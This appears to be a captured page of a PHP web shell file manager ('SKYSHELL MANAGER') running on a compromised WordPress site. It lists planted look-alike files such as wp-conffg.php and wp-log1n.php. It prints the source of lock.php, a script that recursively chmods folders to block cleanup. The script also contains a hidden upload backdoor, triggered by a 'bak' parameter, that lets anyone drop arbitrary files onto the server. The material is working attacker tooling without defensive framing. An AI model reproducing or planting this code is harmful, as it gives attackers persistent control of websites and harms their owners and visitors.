📁
SKYSHELL MANAGER
PHP v8.5.2
Create
Create
Path:
root
/
www
/
wwwroot
/
12bet365.net
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
253b2
-
0555
🗑️
🏷️
🔒
📁
51c7fb
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0555
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
0.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
click.php
1.87 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
1.44 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
12.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock.php
2.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
myfilexxx.php
1.93 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
networks.php
2.03 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
options.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
2 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.35 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
vlhebdjt.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-conffg.php
122.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
2.94 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-log1n.php
2 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
24.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
6.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wper.php
16.31 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xpxaozwm.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: lock.php
<?php $path = $_SERVER['DOCUMENT_ROOT']; $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http"; $host = $_SERVER['HTTP_HOST']; $url = $protocol . "://" . $host . $_SERVER['SCRIPT_NAME']; $type = $_REQUEST['type']; $count = 0; if($type == 'lock'){ $folder_list = getAllFolders($path, 8); foreach($folder_list as $k=>$v){ $flag = chmodFolder($v, 0555); if($flag){$count++;} } echo 'all is '.count($folder_list).';'.$count.'is lock success'; }else if($type == 'unlock'){ $folder_list = getAllFolders($path, 8); foreach($folder_list as $k=>$v){ $flag = chmodFolder($v, 0755); $file_url = $v.'/.htaccess'; chmodFolder($file_url, 0755); if($flag){$count++;} } echo 'all is '.count($folder_list).';'.$count.'is unlock success'; } function getAllFolders($path = '.', $maxDepth = 8, $currentDepth = 1) { $directories = []; if ($currentDepth > $maxDepth) { return $directories; } $items = scandir($path); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $fullPath = $path . DIRECTORY_SEPARATOR . $item; if (is_dir($fullPath)) { $directories[] = $fullPath; $subDirs = getAllFolders($fullPath, $maxDepth, $currentDepth + 1); $directories = array_merge($directories, $subDirs); } } return $directories; } function chmodFolder($dir, $dirMode){ $flag = false; if (chmod($dir, $dirMode)) { $flag = true; } else { $flag = false; } return $flag; } ?> <html> <head> <title>test</title> <head> <body> <a href="<?php echo $url;?>?type=lock&time=<?php echo time();?>">全部锁文件夹</a> <a href="<?php echo $url;?>?type=unlock&time=<?php echo time();?>">全部解锁</a> </body> </html> <?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?> <?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>
Save